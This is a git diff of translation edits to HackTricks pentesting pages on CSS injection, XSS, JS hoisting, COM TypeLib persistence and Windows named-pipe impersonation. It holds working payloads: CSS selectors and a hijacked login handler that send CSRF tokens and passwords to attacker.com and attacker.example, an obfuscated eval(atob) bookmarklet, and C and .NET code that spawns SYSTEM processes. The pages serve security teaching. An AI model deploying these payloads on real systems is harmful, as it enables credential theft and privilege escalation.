bezpieczeństwo każdego nowego endpointu (unit, integration, oraz DAST). --- ## 5. Narzędzia @@ -98,9 +98,9 @@ W połączeniu z domyślnymi danymi administratora (`123456:123456`), które zap -## Źródła -* [Platforma McHire Chatbot: domyślne dane logowania i IDOR ujawniają dane osobowe 64 mln kandydatów](https://ian.sh/mcdonalds) +## References +* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) -* [Jak znaleźć więcej IDORów – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -* [HTB Nocturnal: IDOR oracle → kradzież plików](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 9d58dac1e..017a64fd3 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### Selektor atrybutu +### Attribute Selector -Selektory CSS są skonstruowane tak, aby dopasowywać wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut `value` elementu `input` zaczyna się od określonego znaku, ładowany jest wstępnie zdefiniowany zewnętrzny zasób: +Selektory CSS są tworzone, aby dopasować wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut `value` elementu `input` zaczyna się od określonego znaku, ładowany jest wstępnie zdefiniowany zewnętrzny zasób: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,29 +19,29 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Jednak to podejście napotyka ograniczenie w przypadku ukrytych elementów input (`type="hidden"`), ponieważ elementy ukryte nie ładują tła. +Jednak to podejście napotyka ograniczenie przy obsłudze ukrytych elementów input (`type="hidden"`), ponieważ ukryte elementy nie ładują tła. #### Obejście dla ukrytych elementów -Aby obejść to ograniczenie, możesz zaadresować kolejny element-sąsiad, używając ogólnego kombinatora `~` (general sibling combinator). Reguła CSS zostanie wtedy zastosowana do wszystkich elementów następujących po ukrytym elemencie input, powodując załadowanie obrazu tła: +Aby obejść to ograniczenie, możesz skierować regułę do kolejnego sąsiedniego elementu, używając ogólnego kombinatora rodzeństwa `~`. Reguła CSS zostanie wtedy zastosowana do wszystkich sąsiadów następujących po ukrytym elemencie input, powodując załadowanie obrazu tła: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [tutaj](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Praktyczny przykład wykorzystania tej techniki jest opisany w dołączonym fragmencie kodu. Możesz go zobaczyć [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Wymagania wstępne dla CSS Injection -For the CSS Injection technique to be effective, certain conditions must be met: +Aby technika CSS Injection była skuteczna, muszą być spełnione następujące warunki: -1. **Payload Length**: Wektor CSS injection musi obsługiwać wystarczająco długie payloady, aby pomieścić skonstruowane selektory. -2. **CSS Re-evaluation**: Powinieneś mieć możliwość umieszczenia strony w ramce, co jest niezbędne do wywołania ponownej oceny CSS z nowo wygenerowanymi payloadami. -3. **External Resources**: Technika zakłada możliwość używania obrazów hostowanych zewnętrznie. To może być ograniczone przez Content Security Policy (CSP). +1. **Payload Length**: Wektor CSS Injection musi obsługiwać wystarczająco długie payloads, aby zmieścić przygotowane selektory. +2. **CSS Re-evaluation**: Powinieneś mieć możliwość osadzenia strony (framing), co jest niezbędne do wywołania ponownej ewaluacji CSS z nowo wygenerowanymi payloads. +3. **External Resources**: Technika zakłada możliwość użycia obrazów hostowanych zewnętrznie. Może to być ograniczone przez ustawienia Content Security Policy (CSP) witryny. ### Blind Attribute Selector -As [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`** w celu zidentyfikowania zawartości nawet z elementów niewidocznych. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ It's also possible to use those selectors to extract information from several block of the same type like in: ```html ``` @@ -1421,11 +1422,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Kiedy w password field zostaną wprowadzone jakiekolwiek dane, username i password są wysyłane do attackers server; nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated. +Kiedy jakiekolwiek dane zostaną wprowadzone w polu password, username i password są wysyłane do attackers server — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a Twój payload uruchamia się wcześniej (np. via an inline JS-in-JS sink), zdefiniuj najpierw `const` o tej samej nazwie, aby przechwycić i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy `const`, pozostawiając Twój hook w kontroli: +Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. poprzez inline JS-in-JS sink), zadeklaruj najpierw `const` o tej samej nazwie, aby przejąć i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy zadeklarowanej jako `const`, pozostawiając twój hook pod kontrolą: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1433,14 +1434,14 @@ const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` -Uwagi -- To zależy od kolejności wykonywania: twój injection musi się wykonać przed prawidłową deklaracją. -- Jeśli twój payload jest opakowany w `eval(...)`, wiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki wstrzykiwania ` ``` -### Wykorzystywanie Service Workers +### Abusing Service Workers {{#ref}} abusing-service-workers.md {{#endref}} -### Dostęp do Shadow DOM +### Accessing Shadow DOM {{#ref}} @@ -1560,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Dostęp do ukrytej zawartości -Z [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS różnych obiektów. Na przykład input REGEX nadal można znaleźć po usunięciu wartości pola regexa: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć nawet po usunięciu wartości pola input regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1577,18 +1578,17 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force List - +### Lista Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS — nadużywanie innych podatności +## XSS — wykorzystywanie innych podatności ### XSS w Markdown -Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź: +Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może w ten sposób uzyskasz XSS! Sprawdź: {{#ref}} @@ -1597,24 +1597,24 @@ xss-in-markdown.md ### XSS do SSRF -Masz XSS na **site, który korzysta z cache'owania**? Spróbuj **przekuć to w SSRF** przez Edge Side Include Injection za pomocą tego payload: +Masz XSS na **stronie korzystającej z cache'owania**? Spróbuj **przekształcić to w SSRF** przez Edge Side Include Injection, używając tego payloadu: ```python ``` -Użyj tego, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!\ +Użyj go, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!\ Więcej informacji o tej technice tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS w dynamicznie tworzonym PDF -Jeśli strona web tworzy PDF używając danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\ -Więc, jeśli **bot tworzący PDF znajdzie** jakieś **HTML** **tagi**, to je **zinterpretuje**, i możesz **nadużyć** tego zachowania, by spowodować **Server XSS**. +Jeśli strona tworzy PDF przy użyciu danych pochodzących od użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\ +Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **HTML** **tagów**, zacznie je **interpretować**, i możesz **nadużyć** tego zachowania, aby spowodować **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Jeśli nie możesz wstrzyknąć tagów HTML, może warto spróbować **wstrzyknąć dane PDF**: +Jeśli nie możesz wstrzyknąć tagów HTML, warto spróbować **wstrzyknąć dane PDF**: {{#ref}} @@ -1623,15 +1623,15 @@ pdf-injection.md ### XSS w Amp4Email -AMP, stworzone w celu przyspieszenia wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje wiele komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, mające na celu przyspieszenie wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność ze szczególnym naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites). -Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach. +The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach e-mail. Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS przy przesyłaniu plików (svg) -Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Prześlij jako obraz plik taki jak poniższy (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1705,7 +1705,7 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) -## Źródła +## Referencje - [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) - [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index f99320cf2..4f8ad225e 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Podstawowe informacje +## Basic Information -W języku JavaScript istnieje mechanizm znany jako **Hoisting**, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie podnoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przetwarza skrypt w kilku przejściach. +W języku JavaScript opisany jest mechanizm znany jako **Hoisting**, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie przenoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przechodzi przez skrypt w kilku przejściach. -Podczas pierwszego przejścia silnik parsuje kod w celu wykrycia błędów składniowych i przekształca go w abstrakcyjne drzewo składniowe. Ta faza obejmuje hoisting — proces, w którym niektóre deklaracje są przenoszone na początek kontekstu wykonania. Jeśli faza parsowania zakończy się sukcesem, czyli bez błędów składniowych, wykonanie skryptu jest kontynuowane. +Podczas pierwszego przejścia silnik parsuje kod, aby sprawdzić błędy składniowe i przekształcić go w abstract syntax tree. Ta faza obejmuje hoisting — proces, w którym pewne deklaracje są przesuwane na początek kontekstu wykonania. Jeśli faza parsowania zakończy się powodzeniem, czyli nie wystąpią błędy składniowe, następuje wykonanie skryptu. -Kluczowe jest zrozumienie, że: +Ważne jest zrozumienie, że: -1. Skrypt musi być pozbawiony błędów składniowych, aby doszło do jego wykonania. Zasady składni muszą być ściśle przestrzegane. -2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, choć wykonywany kod może różnić się od jego reprezentacji tekstowej. +1. Skrypt musi być wolny od błędów składniowych, aby mógł zostać wykonany. Zasady składniowe muszą być ściśle przestrzegane. +2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, chociaż wykonywany kod może różnić się od jego reprezentacji tekstowej. -#### Rodzaje hoistingu +#### Types of Hoisting -Na podstawie informacji z MDN istnieją cztery odrębne rodzaje hoistingu w JavaScript: +Na podstawie informacji z MDN wyróżnia się cztery odrębne typy hoistingu w JavaScript: -1. **Value Hoisting**: Umożliwia użycie wartości zmiennej w obrębie jej zakresu przed linią jej deklaracji. -2. **Declaration Hoisting**: Pozwala odwołać się do zmiennej w jej zakresie przed deklaracją bez wywołania `ReferenceError`, jednak wartością tej zmiennej będzie `undefined`. -3. Ten typ zmienia zachowanie w obrębie zakresu z powodu deklaracji zmiennej przed jej faktyczną linią deklaracji. -4. Skutki uboczne deklaracji występują przed oceną reszty kodu, który ją zawiera. +1. **Value Hoisting**: Umożliwia użycie wartości zmiennej w jej zakresie przed linią jej deklaracji. +2. **Declaration Hoisting**: Pozwala odwołać się do zmiennej w jej zakresie przed deklaracją bez powodowania `ReferenceError`, ale wartość zmiennej będzie `undefined`. +3. Ten typ powoduje zmianę zachowania w obrębie zakresu, ponieważ zmienna jest traktowana jako zadeklarowana przed swoją rzeczywistą linią deklaracji. +4. Skutki uboczne deklaracji zachodzą przed oceną reszty kodu, który ją zawiera. -Szczegółowo, deklaracje funkcji wykazują zachowanie typu 1. Słowo kluczowe `var` demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują `let`, `const` i `class`, wykazują zachowanie typu 3. Na koniec instrukcje `import` są wyjątkowe — są hoistowane zarówno z zachowaniem typu 1, jak i typu 4. +Szczegółowo, deklaracje funkcji wykazują zachowanie typu 1. Słowo kluczowe `var` demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują `let`, `const` i `class`, wykazują zachowanie typu 3. Na koniec, instrukcje `import` są unikalne, ponieważ są hoistowane z zachowaniami zarówno typu 1, jak i typu 4. -## Scenariusze +## Scenarios -W związku z tym, jeśli masz scenariusze, w których możesz **Inject JS code after an undeclared object** is used, możesz **fix the syntax** przez zadeklarowanie go (tak by twój kod został wykonany zamiast wyrzucać błąd): +W związku z tym, jeśli masz scenariusze, w których możesz **wstrzyknąć kod JS po tym, jak użyto niezadeklarowanego obiektu**, możesz **poprawić składnię** poprzez jego zadeklarowanie (tak aby twój kod został wykonany zamiast wyrzucać błąd): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -129,9 +129,9 @@ alert(1) - } trigger() ``` -### Zapobiegaj późniejszym deklaracjom, blokując nazwę za pomocą const +### Przechwyć późniejsze deklaracje blokując nazwę za pomocą const -Jeśli możesz wykonać kod zanim zostanie sparsowana deklaracja top-level `function foo(){...}`, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. `const foo = ...`) zapobiegnie ponownemu związaniu tego identyfikatora przez późniejszą deklarację funkcji. To może być nadużyte w RXSS do przejęcia krytycznych handlerów zdefiniowanych później na stronie: +Jeśli możesz wykonać kod przed tym, jak zostanie sparsowana najwyższa deklaracja `function foo(){...}`, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. `const foo = ...`) uniemożliwi późniejszej deklaracji funkcji ponowne powiązanie tego identyfikatora. Można to wykorzystać w RXSS do przejęcia krytycznych handlerów zdefiniowanych później na stronie: ```javascript // Malicious code runs first (e.g., earlier inline ``` -4) Wywoływanie – otwarcie IE, aplikacji, która osadza WebBrowser control, lub nawet rutynowa aktywność Explorer spowoduje załadowanie TypeLib i wykonanie scriptlet, ponownie uzbrajając twój chain przy logon/reboot. +4) Wyzwalanie – otwarcie IE, aplikacji, która osadza WebBrowser control, lub nawet rutynowa aktywność Explorer spowoduje załadowanie TypeLib i wykonanie scriptlet, ponownie uzbrajając łańcuch przy logon/reboot. Czyszczenie ```powershell @@ -123,9 +123,9 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n # Delete the dropped scriptlet Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` -Uwagi +Notatki - Możesz zastosować tę samą logikę do innych często używanych komponentów COM; zawsze najpierw ustal rzeczywisty `LIBID` z `HKCR\CLSID\{CLSID}\TypeLib`. -- Na systemach 64-bitowych możesz również wypełnić podklucz `win64` dla konsumentów 64-bitowych. +- Na systemach 64-bitowych możesz także wypełnić podklucz `win64` dla 64-bitowych aplikacji. ## Źródła diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index a2eab1f74..7a99df4b2 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation to prymityw lokalnego eskalowania uprawnień, który pozwala wątkowi serwera named-pipe przyjąć kontekst zabezpieczeń klienta, który się z nim łączy. W praktyce atakujący, który może uruchamiać kod z uprawnieniami SeImpersonatePrivilege, może wymusić, aby uprzywilejowany klient (np. usługa SYSTEM) połączył się z pipe kontrolowaną przez atakującego, wywołać ImpersonateNamedPipeClient, zdublować powstały token do tokena głównego i uruchomić proces jako ten klient (często NT AUTHORITY\SYSTEM). +Named Pipe client impersonation jest lokalnym prymitywem eskalacji uprawnień, który pozwala wątkowi serwera named-pipe przyjąć kontekst bezpieczeństwa klienta, który się z nim łączy. W praktyce atakujący, który może uruchamiać kod z uprawnieniem SeImpersonatePrivilege, może zmusić uprzywilejowanego klienta (np. usługę uruchomioną jako SYSTEM) do połączenia się z rurą kontrolowaną przez atakującego, wywołać ImpersonateNamedPipeClient, zduplikować otrzymany token do tokenu pierwotnego i uruchomić proces jako ten klient (często NT AUTHORITY\SYSTEM). -Ta strona koncentruje się na podstawowej technice. Dla end-to-end łańcuchów exploitów, które wymuszają, aby SYSTEM połączył się z twoją pipe, zobacz strony z rodziny Potato wymienione poniżej. +Ta strona skupia się na podstawowej technice. Dla end-to-end exploit chains, które zmuszają SYSTEM do połączenia z twoją pipe, zobacz strony z rodziny Potato wymienione poniżej. ## TL;DR -- Utwórz named pipe: \\.\pipe\ i oczekuj na połączenie. -- Spowoduj, aby uprzywilejowany komponent połączył się z nim (spooler/DCOM/EFSRPC/etc.). -- Odczytaj przynajmniej jedną wiadomość z pipe, następnie wywołaj ImpersonateNamedPipeClient. -- Otwórz token impersonacji w bieżącym wątku, DuplicateTokenEx(TokenPrimary) i użyj CreateProcessWithTokenW/CreateProcessAsUser, aby uruchomić proces jako SYSTEM. +- Utwórz named pipe: \\.\pipe\ i czekaj na połączenie. +- Zmusić uprzywilejowany komponent do połączenia się z nią (spooler/DCOM/EFSRPC/etc.). +- Odczytaj przynajmniej jedną wiadomość z pipe, potem wywołaj ImpersonateNamedPipeClient. +- Otwórz token impersonacji z bieżącego wątku, DuplicateTokenEx(TokenPrimary) i użyj CreateProcessWithTokenW/CreateProcessAsUser, aby uzyskać proces SYSTEM. -## Wymagania i kluczowe API -- Uprawnienia zazwyczaj potrzebne procesowi/wątkowi wywołującemu: -- SeImpersonatePrivilege — do skutecznego podszycia się pod klienta łączącego się oraz do użycia CreateProcessWithTokenW. -- Alternatywnie, po podszyciu się pod SYSTEM możesz użyć CreateProcessAsUser, co może wymagać SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (te uprawnienia są spełnione, gdy podszywasz się pod SYSTEM). -- Podstawowe API używane: +## Requirements and key APIs +- Uprawnienia zwykle potrzebne procesowi/wątkowi wywołującemu: +- SeImpersonatePrivilege do skutecznego impersonowania łączącego się klienta oraz do użycia CreateProcessWithTokenW. +- Alternatywnie, po impersonowaniu SYSTEM możesz użyć CreateProcessAsUser, co może wymagać SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (są one spełnione, gdy impersonujesz SYSTEM). +- Główne używane API: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (należy odczytać co najmniej jedną wiadomość przed podszyciem) -- ImpersonateNamedPipeClient i RevertToSelf +- ReadFile/WriteFile (należy odczytać co najmniej jedną wiadomość przed impersonacją) +- ImpersonateNamedPipeClient and RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) -- CreateProcessWithTokenW lub CreateProcessAsUser -- Poziom podszycia: aby wykonywać użyteczne akcje lokalnie, klient musi zezwolić na SecurityImpersonation (domyślnie dla wielu lokalnych klientów RPC/named-pipe). Klienci mogą obniżyć to ustawienie, używając SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION przy otwieraniu pipe. +- CreateProcessWithTokenW or CreateProcessAsUser +- Poziom impersonacji: aby wykonać użyteczne akcje lokalnie, klient musi zezwolić na SecurityImpersonation (domyślnie dla wielu lokalnych RPC/named-pipe klientów). Klienci mogą obniżyć to ustawienie przy użyciu SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION podczas otwierania pipe. -## Minimalny przepływ pracy Win32 (C) +## Minimal Win32 workflow (C) ```c // Minimal skeleton (no error handling hardening for brevity) #include @@ -68,12 +68,12 @@ RevertToSelf(); // Restore original context return 0; } ``` -Notes: -- Jeśli ImpersonateNamedPipeClient zwraca ERROR_CANNOT_IMPERSONATE (1368), upewnij się, że najpierw odczytujesz z pipe'a i że klient nie ograniczył impersonacji do Identification level. -- Preferuj DuplicateTokenEx z SecurityImpersonation i TokenPrimary, aby utworzyć token główny odpowiedni do tworzenia procesu. +Uwagi: +- Jeśli ImpersonateNamedPipeClient zwraca ERROR_CANNOT_IMPERSONATE (1368), upewnij się, że najpierw odczytałeś z pipe i że klient nie ograniczył impersonation do Identification level. +- Preferuj DuplicateTokenEx z SecurityImpersonation i TokenPrimary, aby utworzyć primary token odpowiedni do tworzenia procesu. -## .NET quick example -W .NET, NamedPipeServerStream może dokonać impersonacji za pomocą RunAsClient. Po impersonacji zduplikuj token wątku i utwórz proces. +## .NET — szybki przykład +W .NET, NamedPipeServerStream może wykonać impersonation za pomocą RunAsClient. Po przeprowadzeniu impersonation zduplikuj thread token i utwórz proces. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,8 +93,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Typowe wyzwalacze/przymuszenia, by uzyskać podłączenie SYSTEM do twojej pipe -Te techniki zmuszają uprzywilejowane usługi do połączenia się z twoją named pipe, abyś mógł je impersonate: +## Common triggers/coercions to get SYSTEM to your pipe +These techniques coerce privileged services to connect to your named pipe so you can impersonate them: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) @@ -117,20 +117,20 @@ If you just need a full example of crafting the pipe and impersonating to spawn from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Rozwiązywanie problemów i uwagi praktyczne -- Musisz odczytać co najmniej jedną wiadomość z pipe przed wywołaniem ImpersonateNamedPipeClient; w przeciwnym razie otrzymasz ERROR_CANNOT_IMPERSONATE (1368). -- Jeśli klient łączy się z SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, serwer nie może w pełni impersonate; sprawdź poziom impersonacji tokena przez GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW wymaga SeImpersonatePrivilege u wywołującego. Jeśli to zakończy się ERROR_PRIVILEGE_NOT_HELD (1314), użyj CreateProcessAsUser po tym, jak już zaimpersonowałeś SYSTEM. -- Upewnij się, że security descriptor twojej pipe pozwala docelowemu serwisowi na połączenie, jeśli ją zaostrzyłeś; domyślnie pipe pod \\.\pipe są dostępne zgodnie z DACL serwera. +## Troubleshooting and gotchas +- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368). +- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM. +- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL. -## Wykrywanie i zabezpieczanie -- Monitoruj tworzenie i połączenia named pipe. Sysmon Event IDs 17 (Pipe Created) i 18 (Pipe Connected) są przydatne do wyznaczenia bazy legalnych nazw pipe i wykrywania nietypowych, losowo wyglądających pipe poprzedzających zdarzenia manipulacji tokenami. -- Szukaj sekwencji: proces tworzy pipe, usługa SYSTEM się łączy, a następnie proces tworzący uruchamia proces potomny jako SYSTEM. -- Zmniejsz ekspozycję, usuwając SeImpersonatePrivilege z nieistotnych kont usług i unikając niepotrzebnych logowań usług z wysokimi uprawnieniami. -- Defensive development: przy łączeniu się z nieufnymi named pipes określ SECURITY_SQOS_PRESENT z SECURITY_IDENTIFICATION, aby zapobiec pełnej impersonacji klienta przez serwer, chyba że jest to konieczne. +## Detection and hardening +- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events. +- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM. +- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges. +- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary. ## References -- Windows: ImpersonateNamedPipeClient documentation (wymagania i zachowanie dotyczące impersonacji). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient -- ired.team: Windows named pipes privilege escalation (przewodnik i przykłady kodu). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation +- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 7e8260ce8..8322cc210 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato nie działa** na Windows Server 2019 i Windows 10 build 1809 oraz nowszych. Jednak [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** można użyć do **uzyskania tych samych uprawnień i osiągnięcia poziomu dostępu `NT AUTHORITY\SYSTEM`**. Ten [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) szczegółowo opisuje narzędzie `PrintSpoofer`, które można wykorzystać do nadużycia uprawnień impersonacji na hostach Windows 10 i Server 2019, gdzie JuicyPotato już nie działa. +> **JuicyPotato doesn't work** na Windows Server 2019 i Windows 10 build 1809 i nowszych. Jednak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** 